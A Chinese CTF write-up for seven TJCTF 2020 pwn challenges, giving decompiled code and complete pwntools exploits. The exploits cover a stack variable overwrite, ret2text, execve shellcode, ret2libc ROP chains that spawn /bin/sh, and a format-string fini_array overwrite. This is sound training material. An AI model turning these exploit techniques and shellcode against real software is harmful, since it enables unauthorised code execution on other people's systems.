【WriteUp】TJCTF 2020 -- Pwn 题解

抽空复现一下,前一个礼拜忙着写论文,后一个礼拜也要忙着复习

Tinder

Description:

Written by agcdragon

Start swiping!

nc p1.tjctf.org 8002

Solution:

程序保护如下:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char flag[32]; // [esp+0h] [ebp-A0h]
  char bio[64]; // [esp+20h] [ebp-80h]
  char pass[16]; // [esp+60h] [ebp-40h]
  char user[16]; // [esp+70h] [ebp-30h]
  char name[16]; // [esp+80h] [ebp-20h]
  FILE *f; // [esp+90h] [ebp-10h]
  int match; // [esp+94h] [ebp-Ch]
  int *v11; // [esp+98h] [ebp-8h]

  v11 = &argc;
  match = 0;
  setup();
  puts("Welcome to TJTinder, please register to start matching!");
  printf("Name: ");
  input(name, 1.0);
  printf("Username: ");
  input(user, 1.0);
  printf("Password: ");
  input(pass, 1.0);
  printf("Tinder Bio: ");
  input(bio, 8.0);
  putchar(10);
  if ( match == 0xC0D3D00D )
  {
    printf("Registered '%s' to TJTinder successfully!\n", user);
    puts("Searching for matches...");
    sleep(3u);
    puts("It's a match!");
    f = fopen("flag.txt", "r");
    if ( !f )
    {
      puts("Flag File is Missing. Contact a moderator if running on server.");
      exit(0);
    }
    fgets(flag, 0x20, f);
    printf("Here is your flag: %s", flag);
  }
  else
  {
    printf("Registered '%s' to TJTinder successfully!\n", user);
    puts("Searching for matches...");
    sleep(3u);
    puts("Sorry, no matches found. Try Again!");
  }
  return 0;
}

setup 函数如下:

void setup()
{
  gid_t gid; // ST1C_4

  gid = getegid();
  setresgid(gid, gid, gid);
  setbuf(stdout, 0);
}

input 函数如下:

int __cdecl input(char *str, float f)
{
  int result; // eax

  fgets(str, (f * 16.0), stdin);
  if ( strlen(str) <= 1 )
  {
    puts("No input detected. Registration failed.");
    exit(0);
  }
  if ( strchr(str, 10) )
  {
    result = &str[strlen(str) - 1];
    *result = 0;
  }
  else
  {
    do
      result = fgetc(stdin);
    while ( result != 10 );
  }
  return result;
}

解题思路:

变量覆盖漏洞,没啥说的

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='i386', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('p1.tjctf.org', 8002)

# gdb.attach(p, "b *0x080488E4\nc")
p.sendlineafter('Name: ', 'a')
p.sendlineafter('Username: ', 'a')
p.sendlineafter('Password: ', 'a')
pd = 'a' * 0x74
pd += p32(0xC0D3D00D)
p.sendlineafter('Tinder Bio: ', pd)
p.interactive()

Flag:


Seashells

Description:

Written by avz92

I heard there's someone selling shells? They seem to be out of stock though...

nc p1.tjctf.org 8009

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s1; // [rsp+6h] [rbp-Ah]

  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("Welcome to Sally's Seashore Shell Shop");
  puts("Would you like a shell?");
  gets(&s1, 0LL);
  if ( !strcasecmp(&s1, "yes") )
    puts("sorry, we are out of stock");
  else
    puts("why are you even here?");
  return 0;
}

shell 函数如下:

int __fastcall shell(__int64 a1)
{
  int result; // eax

  result = 0xBABEBEEF;
  if ( a1 == 0xDEADCAFEBABEBEEFLL )
    result = system("/bin/sh");
  return result;
}

解题思路:

ret2text 没啥好说的,覆盖到这就行

.text:00000000004006E3                 lea     rdi, command    ; "/bin/sh"
.text:00000000004006EA                 call    _system

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='i386', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('p1.tjctf.org', 8009)

pd = 'a' * 0x12
pd += p64(0x4006E3)
p.sendlineafter('shell?\n', pd)
p.interactive()

Flag:


OSRS

Description:

Written by KyleForkBomb

My friend keeps talking about Old School RuneScape. He says he made a service to tell you about trees.

I don't know what any of this means but this system sure looks old! It has like zero security features enabled...

nc p1.tjctf.org 8006

Solution:

程序保护如下:

Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch]

  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  v4 = get_tree();
  if ( v4 > 0 )
    puts((&off_8049EC4)[2 * v4]);
  return 0;
}

get_tree 函数如下:

signed int get_tree()
{
  char s; // [esp+Ch] [ebp-10Ch]
  int i; // [esp+10Ch] [ebp-Ch]

  puts("Enter a tree type: ");
  gets(&s);
  for ( i = 0; i <= 12; ++i )
  {
    if ( !strcasecmp((&trees)[2 * i], &s) )
      return i;
  }
  printf("I don't have the tree %d :(\n", &s);
  return -1;
}

字符串一览:

.data:08049EC0                 public trees
.data:08049EC0 ; char *trees
.data:08049EC0 trees           dd offset aNormal       ; DATA XREF: get_tree+37↑r
.data:08049EC0                                         ; "Normal"
.data:08049EC4 ; char *off_8049EC4
.data:08049EC4 off_8049EC4     dd offset aTheMostCommonT
.data:08049EC4                                         ; DATA XREF: main+5B↑r
.data:08049EC4                                         ; "The most common tree on RuneScape, thes"...
.data:08049EC8                 dd offset aAchey        ; "Achey"
.data:08049ECC                 dd offset aTheseTreesAreU ; "These trees are used for the members-on"...
.data:08049ED0                 dd offset aOak          ; "Oak"
.data:08049ED4                 dd offset aTheseTreesAreF ; "These trees are fairly easy to find aro"...
.data:08049ED8                 dd offset aWillow       ; "Willow"
.data:08049EDC                 dd offset aTheseTreesAreF_0 ; "These trees are found near water."
.data:08049EE0                 dd offset aTeak         ; "Teak"
.data:08049EE4                 dd offset aTheseTreesYiel ; "These trees yield teak logs when cut, w"...
.data:08049EE8                 dd offset aMaple        ; "Maple"
.data:08049EEC                 dd offset aMapleTreesAreS ; "Maple trees are special trees which can"...
.data:08049EF0                 dd offset aHollow       ; "Hollow"
.data:08049EF4                 dd offset aTheseAreFoundI ; "These are found in Slepe and the Haunte"...
.data:08049EF8                 dd offset aMahogany     ; "Mahogany"
.data:08049EFC                 dd offset aLikeTeakTreesM ; "Like teak trees, mahogany trees are qui"...
.data:08049F00                 dd offset aArcticPine   ; "Arctic pine"
.data:08049F04                 dd offset aTheseAreFoundO ; "These are found on the islands of Neiti"...
.data:08049F08                 dd offset aYew          ; "Yew"
.data:08049F0C                 dd offset aTheHighestLeve ; "The highest levelled tree for free play"...
.data:08049F10                 dd offset aSulliuscep   ; "Sulliuscep"
.data:08049F14                 dd offset aFoundInTheTarS ; "Found in the Tar Swamp on Fossil Island"...
.data:08049F18                 dd offset aMagic        ; "Magic"
.data:08049F1C                 dd offset aTheseTreesAreM ; "These trees are members-only. Cutting t"...
.data:08049F20                 dd offset aRedwood      ; "Redwood"
.data:08049F24                 dd offset aTheseTreesAreF_1 ; "These trees are found exclusively in th"...
.data:08049F24 _data           ends

解题思路:

ret2shellcode 没啥说的

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='i386', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('p1.tjctf.org', 8009)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)
plt_gets = elf.plt['gets']
addr_bss = elf.bss()

gdb.attach(p, "b *0x080485C7\nc")
pd = 'a' * 0x110
pd += p32(plt_gets)
pd += p32(addr_bss)
pd += p32(addr_bss)
p.sendlineafter('type: \n', pd)
pd = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68' \
     '\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
p.sendline(pd)
p.interactive()

Flag:


El Primo

Description:

Written by agcdragon

My friend just started playing Brawl Stars and he keeps raging because he can't beat El Primo! Can you help him?

nc p1.tjctf.org 8011

Solution:

程序保护如下:

Arch:     i386-32-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-28h]
  int *v5; // [esp+20h] [ebp-8h]

  v5 = &argc;
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  puts("What's my hard counter?");
  printf("hint: %p\n", &s);
  gets(&s);
  return 0;
}

解题思路:

还是 ret2shellcode,就是要看 gdb 动调一下,因为这题末尾长这样

.text:0000069B                 call    _gets
.text:000006A0                 add     esp, 10h
.text:000006A3                 mov     eax, 0
.text:000006A8                 lea     esp, [ebp-8]
.text:000006AB                 pop     ecx
.text:000006AC                 pop     ebx
.text:000006AD                 pop     ebp
.text:000006AE                 lea     esp, [ecx-4]
.text:000006B1                 retn

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='i386', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('p1.tjctf.org', 8009)

# gdb.attach(p, "b *$rebase(0x6A0)\nc")
p.recvuntil('hint: ')
addr_stack = int(p.recvuntil('\n')[:-1], 16)
pd = p32(addr_stack + 4)
pd += asm('''
xor ecx, ecx
xor edx, edx
mov ebx, 0x68732f
push ebx
mov ebx, 0x6e69622f
push ebx
push esp
pop ebx
mov eax, SYS_execve
int 0x80
''')
pd = pd.ljust(0x20, 'a')
pd += p32(addr_stack + 4)
p.sendline(pd)
p.interactive()

Flag:


Stop

Description:

Written by KyleForkBomb

I love playing stop, but I am tired of losing. Check out my new stop answer generator!

It's a work in progress and only has a few categories, but it's 100% bug-free!

nc p1.tjctf.org 8001

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char v4[256]; // [rsp+0h] [rbp-110h]
  int v5; // [rsp+100h] [rbp-10h]
  int v6; // [rsp+104h] [rbp-Ch]
  int v7; // [rsp+108h] [rbp-8h]
  int i; // [rsp+10Ch] [rbp-4h]

  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  printf("Which letter? ", 0LL);
  v7 = get_letter();
  getchar();
  if ( v7 == -1 )
  {
    printf("That's not a letter!\n");
    result = 1;
  }
  else
  {
    printf("\n");
    for ( i = 0; i <= 4; ++i )
      printf("%s\n", categories[i]);
    printf("\n");
    printf("Category? ");
    v6 = read();
    v4[v6 - 1] = 0;
    v5 = get_category(v4);
    if ( v5 == -1 )
      printf("\nSorry, we don't have that category yet\n", v4);
    else
      printf("\nYour answer is: %s\n", answers[v5 + 5LL * v7]);
    result = 0;
  }
  return result;
}

get_letter 函数如下:

signed __int64 get_letter()
{
  int v1; // [rsp+Ch] [rbp-4h]

  v1 = getchar();
  if ( v1 > '@' && v1 <= 'Z' )
    return (v1 - 'A');
  if ( v1 <= '`' || v1 > 'z' )
    return 0xFFFFFFFFLL;
  return (v1 - 'a');
}

get_category 函数如下:

signed __int64 __fastcall get_category(const char *a1)
{
  signed int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 4; ++i )
  {
    if ( !strcasecmp(categories[i], a1) )
      return i;
  }
  return 0xFFFFFFFFLL;
}

解题思路:

ret2libc 没啥说的

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
# context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('p1.tjctf.org', 8009)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)
got_getchar = elf.got['getchar']
plt_printf = elf.plt['printf']
addr_rop1 = 0x0000000000400953  # pop rdi ; ret
addr_rop2 = 0x0000000000400951  # pop rsi ; pop r15 ; ret
addr_main = 0x40073C
addr_fmt = 0x400E43  # %s

# gdb.attach(p, "b *0x400848\nb *0x4008D1\nc")
p.sendlineafter('letter? ', 'a')
pd = 'a' * 0x118
pd += p64(addr_rop1)
pd += p64(addr_fmt)
pd += p64(addr_rop2)
pd += p64(got_getchar)
pd += p64(0)
pd += p64(plt_printf)
pd += p64(addr_main)
p.sendlineafter('Category? ', pd)
p.recvuntil('yet\n')

addr_getchar = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr_getchar - libc.sym['getchar']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()

p.sendlineafter('letter? ', 'a')
pd = 'a' * 0x118
pd += p64(addr_rop1)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
p.sendlineafter('Category? ', pd)
p.recvuntil('yet\n')
p.interactive()

Flag:


Cookie Library

Description:

Written by KyleForkBomb

My friend loves cookies. In fact, she loves them so much her favorite cookie changes all the time. She said there's no reward for guessing her favorite cookie, but I still think she's hiding something.

nc p1.tjctf.org 8010

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  char *v4; // rsi
  int v5; // eax
  char s1; // [rsp+0h] [rbp-50h]
  int i; // [rsp+4Ch] [rbp-4h]

  v3 = time(0LL);
  srand(v3);
  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  v4 = 0LL;
  setbuf(stderr, 0LL);
  puts("Check out all these cookies!");
  for ( i = 0; i <= 27; ++i )
  {
    v4 = (&cookies)[i];
    printf("  - %s\n", v4);
  }
  puts("Which is the most tasty?");
  gets(&s1, v4);
  v5 = rand();
  if ( !strcasecmp(&s1, (&cookies)[v5 % 28]) )
    puts("Wow, me too!");
  else
    puts("I'm sorry but we can't be friends anymore");
  return 0;
}

解题思路:

还是 ret2libc 没啥说的

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
# context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('p1.tjctf.org', 8009)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
addr_rop1 = 0x0000000000400933  # pop rdi ; ret
addr_main = 0x400797

pd = 'a' * 0x58
pd += p64(addr_rop1)
pd += p64(got_puts)
pd += p64(plt_puts)
pd += p64(addr_main)
p.sendlineafter('tasty?', pd)
p.recvuntil('anymore\n')

addr_puts = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr_puts - libc.sym['puts']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()

pd = 'a' * 0x58
pd += p64(addr_rop1)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
p.sendlineafter('tasty?', pd)
p.recvuntil('anymore\n')
p.interactive()

Flag:


Naughty

Description:

Written by KyleForkBomb

Santa is getting old and can't tell everyone which list they are on anymore. Fortunately, one of his elves wrote a service to do it for him!

nc p1.tjctf.org 8004

Solution:

程序保护如下:

Arch:     i386-32-little
RELRO:    No RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-10Ch]
  unsigned int v5; // [esp+100h] [ebp-Ch]
  int *v6; // [esp+104h] [ebp-8h]

  v6 = &argc;
  v5 = __readgsdword(0x14u);
  puts(
    "  _  _                     __ _   _        _       _  _                                     _  _      _                      ___   ");
  puts(
    " | \\| |   __ _    _  _    / _` | | |_     | |_    | || |    o O O   ___      _ _     o O O | \\| |    (_)     __   "
    "   ___    |__ \\  ");
  puts(
    " | .` |  / _` |  | +| |   \\__, | | ' \\    |  _|    \\_, |   o       / _ \\    | '_|   o      | .` |    | |    / _|"
    "    / -_)     /_/  ");
  puts(
    " |_|\\_|  \\__,_|   \\_,_|   |___/  |_||_|   _\\__|   _|__/   TS__[O]  \\___/   _|_|_   TS__[O] |_|\\_|   _|_|_   \\"
    "__|_   \\___|   _(_)_  ");
  puts(
    "_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_| \"\"\"\"| {======|_|\"\"\"\"\"|_|\""
    "\"\"\"\"| {======|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"|_|\"\"\"\"\"| ");
  puts(
    "\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'\"`-0-0-'./o--000'\"`-0-0-'\"`-0-0-'./o--000'\"`-0-0-'\"`-0-0-"
    "'\"`-0-0-'\"`-0-0-'\"`-0-0-' ");
  puts("What is your name?");
  fflush(stdout);
  fgets(&s, 256, stdin);
  printf("You are on the NAUGHTY LIST ");
  printf(&s);
  return 0;
}

解题思路:

格式化字符串,闲来无事研究了一下 pwntools 里的 fmtstr_payload 函数

知道了一次能生成几个可写字符就可以在后面接着用这个函数

利用点在这:

0xf7fa2a80 <_dl_fini+512>    mov    eax, dword ptr [eax + 4]
0xf7fa2a83 <_dl_fini+515>    add    eax, dword ptr [ebx]
0xf7fa2a85 <_dl_fini+517>    call   eax <0xf7deeda0>
      command: 0xf7fb7918 ◂— '/bin/sh'

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import re

debug = 1
context(arch='i386', endian='el', os='linux')
# context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('p1.tjctf.org', 8009)
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)
addr_main = elf.sym['main']
addr_fini_array = 0x08049BAC

pd = fmtstr_payload(7, {addr_fini_array: addr_main})
pd = pd.ljust(0x3c, 'a')
pd += 'cccc'
pd += '%75$p'
p.sendlineafter('name?', pd)
p.recvuntil('cccc')

addr___libc_start_main = int(p.recvuntil('\n')[:-1], 16) - 247
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr_system = libcbase + libc.sym['system']
addr_ebx = libcbase + 0x203918

# gdb.attach(p, "b *0x0804862F\nc")
fmt = fmtstr_payload(7, {0x8049bc4: addr_system - 0x6e69622f}).ljust(0x40, 'a')
num = eval('+'.join(re.findall(r'%(\d*)c', fmt))) + len(re.findall(r'n(?!%)(.*)aaaa', fmt)[0]) + 4
pd = fmt

fmt = fmtstr_payload(23, {addr_ebx: 0x6e69622f}, numbwritten=num).ljust(0x40, 'a')
num += eval('+'.join(re.findall(r'%(\d*)c', fmt))) + len(re.findall(r'n(?!%)(.*)aaaa', fmt)[0]) + 4
pd += fmt

fmt = fmtstr_payload(39, {addr_ebx + 4: 0x68732f}, numbwritten=num)
pd += fmt

p.sendlineafter('name?', pd)
success('addr_system = ' + hex(addr_system))
p.interactive()

Flag:

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注